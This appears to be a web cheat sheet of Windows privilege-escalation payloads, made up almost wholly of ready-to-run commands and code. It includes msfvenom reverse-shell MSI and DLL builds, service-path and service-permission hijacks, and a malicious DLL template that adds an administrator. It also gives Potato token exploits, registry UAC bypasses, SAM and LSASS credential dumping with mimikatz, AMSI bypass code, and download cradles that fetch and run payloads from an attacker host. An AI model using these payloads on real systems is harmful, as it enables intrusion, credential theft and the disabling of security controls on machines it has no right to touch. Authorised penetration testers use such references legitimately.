$loading...
Windows privilege escalation techniques: unquoted service paths, weak permissions, DLL hijacking, token impersonation, AlwaysInstallElevated, UAC bypass, and credential access. (46 payloads)
systeminfo
whoami /all
net user %username%
net localgroup administratorswmic service get name,displayname,pathname,startmode
sc qc <service_name>schtasks /query /fo LIST /v | findstr /i "task name\|run as\|status"reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Runreg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /swmic product get name,version,vendor | sortipconfig /all && route print && arp -anetstat -ano | findstr LISTENINGfindstr /si password *.txt *.xml *.config 2>nul
dir /s /b *pass* *cred* *vnc* *.config 2>nulPowerShell: Get-ChildItem -Path C:\ -Include *.txt,*.xml,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password|passwd|credential" 2>$nullaccesschk.exe -uwdqs "Authenticated Users" C:\ 2>nul
accesschk.exe -uwdqs "Everyone" C:\ 2>nulreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must be 0x1 for exploitation# Generate malicious MSI (Linux/Windows):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f msi -o evil.msi
# Or craft MSI with msiexec:
msiexec /quiet /qn /i evil.msi# PowerShell PrivEsc via AlwaysInstallElevated:
$msi = "C:\Windows\Temp\evil.msi"
Invoke-WebRequest -Uri "http://<IP>/evil.msi" -OutFile $msi
Start-Process msiexec.exe -ArgumentList "/quiet /qn /i $msi" -Waitwmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Look for paths like:
# C:\Program Files\Vulnerable App\service.exe
# → Try: C:\Program.exe, C:\Program Files\Vulnerable.exe# If C:\Program Files\Vulnerable App\service.exe is unquoted:
# Windows tries: C:\Program.exe, C:\Program Files\Vulnerable.exe, then full path
# Place malicious binary at first writable location:
copy evil.exe "C:\Program Files\Vulnerable.exe"
sc stop VulnerableService
sc start VulnerableService# PowerShell one-liner to find unquoted service paths:
Get-WmiObject -Class win32_service | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -match ' ' -and $_.StartMode -eq "Auto"} | Select Name, PathName# Check service permissions with accesschk:
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv <username> *
# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG# If SERVICE_CHANGE_CONFIG on a service:
sc config <ServiceName> binpath= "cmd.exe /k net localgroup Administrators <username> /add"
sc stop <ServiceName>
sc start <ServiceName>
# Or:
sc config <ServiceName> binpath= "C:\Temp\evil.exe"# Check service binary file permissions:
icacls "C:\path\to\service.exe"
# If (F) or (M) for current user or group → replace binary# Weak registry permissions on service:
accesschk.exe -uvwck HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
# If writable → modify ImagePath registry key# Windows DLL search order:
# 1. Application directory
# 2. System directory (C:\Windows\System32)
# 3. Windows directory (C:\Windows)
# 4. Current directory
# 5. PATH directories
# Find missing DLLs with Procmon (filter: NAME NOT FOUND + .dll)# Malicious DLL template (C):
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
system("net localgroup Administrators <username> /add");
}
return TRUE;
}
# Compile: x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c# Using msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f dll -o evil.dll# Check PATH directories for writable locations:
echo %PATH%
icacls "C:\some\path\in\PATH"
# If writable and a service loads a DLL by name → place malicious DLL there# Check current privileges:
whoami /priv
# Look for: SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege
# Both are Enabled by default for IIS AppPool, SQL Server, network services# PrintSpoofer (Windows 10 / Server 2019):
.\PrintSpoofer.exe -i -c cmd
# Or spawn reverse shell:
.\PrintSpoofer.exe -c "C:\Temp\nc.exe <IP> 4444 -e cmd"# RoguePotato (Windows Server 2019+, Win10):
.\RoguePotato.exe -r <IP> -e "cmd.exe" -l 9999# GodPotato (works on Windows Server 2012 → 2022, Win8 → Win11):
.\GodPotato.exe -cmd "cmd /c whoami"# JuicyPotato (Windows Server 2016 and earlier, Win10 < 1809):
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {clsid}
# CLSID varies by OS — use https://github.com/ohpe/juicy-potato/tree/master/CLSID# Check UAC level:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
# ConsentPromptBehaviorAdmin = 5 → UAC enabled
# EnableLUA = 1 → mandatory UAC# fodhelper.exe bypass (Windows 10):
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /f
fodhelper.exe
# Cleanup:
reg delete HKCU\Software\Classes\ms-settings /f# eventvwr.exe bypass (Windows 7-10):
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\mscfile\shell\open\command /v "DelegateExecute" /f
eventvwr.exe
reg delete HKCU\Software\Classes\mscfile /f# sdclt.exe bypass (Windows 10):
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe /d "cmd.exe" /f
sdclt.exe
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe /f# UACME — automated bypass tool:
# https://github.com/hfiref0x/UACME
# 70+ methods, use method 41 (ICMLuaUtil) on Win10/11:
Akagi.exe 41 C:\Temp\reverse.exe# SAM/SYSTEM dump (requires SYSTEM or admin):
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Exfil and extract offline:
python3 impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL# LSASS dump with Task Manager:
# Task Manager → Details → lsass.exe → Create dump file
# Or with mimikatz:
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Or with comsvcs.dll (LOLBIN):
runas /noprofile /user:administrator "cmd /c rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).id C:\Temp\lsass.dmp full"# Mimikatz pass-the-hash:
.\mimikatz.exe "sekurlsa::pth /user:Administrator /domain:. /ntlm:<NTLM_HASH> /run:cmd.exe" exit# Windows Credential Manager:
cmdkey /list
vaultcmd /listcreds:"Windows Credentials"
# Dump with mimikatz:
.\mimikatz.exe "vault::cred /patch" exit# Search for unattend.xml, sysprep.inf credentials:
dir /s /b C:\*.xml C:\*.ini 2>nul | findstr /i "unattend sysprep"
findstr /si password C:\Windows\Panther\unattend.xml
findstr /si password C:\Windows\system32\sysprep.inf# Browser credential extraction (Chrome):
PowerShell: Get-ChildItem -Path "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data" -ErrorAction SilentlyContinue# Execution policy bypass:
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -enc <base64>
PowerShell.exe -nop -noni -w hidden -c "IEX (iwr http://<IP>/payload.ps1)"# AMSI bypass (patching amsiScanBuffer in current process):
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')|
.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)# AMSI bypass via memory patching (2023+):
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteInt32([IntPtr]$c.ToInt64(),0x41414141)# Constrained Language Mode check and bypass:
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = normal; ConstrainedLanguage = restricted
# Bypass: use PowerShell 2.0 (no AMSI/CLM):
powershell -version 2 -c "whoami"# Download cradle variants:
IEX(New-Object Net.WebClient).DownloadString("http://<IP>/ps.ps1")
IEX(Invoke-RestMethod "http://<IP>/ps.ps1")
(New-Object Net.WebClient).DownloadFile("http://<IP>/file.exe","C:\Temp\file.exe")
certutil -urlcache -split -f "http://<IP>/file.exe" file.exe
bitsadmin /transfer job /download /priority normal "http://<IP>/file.exe" "C:\Temp\file.exe"Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides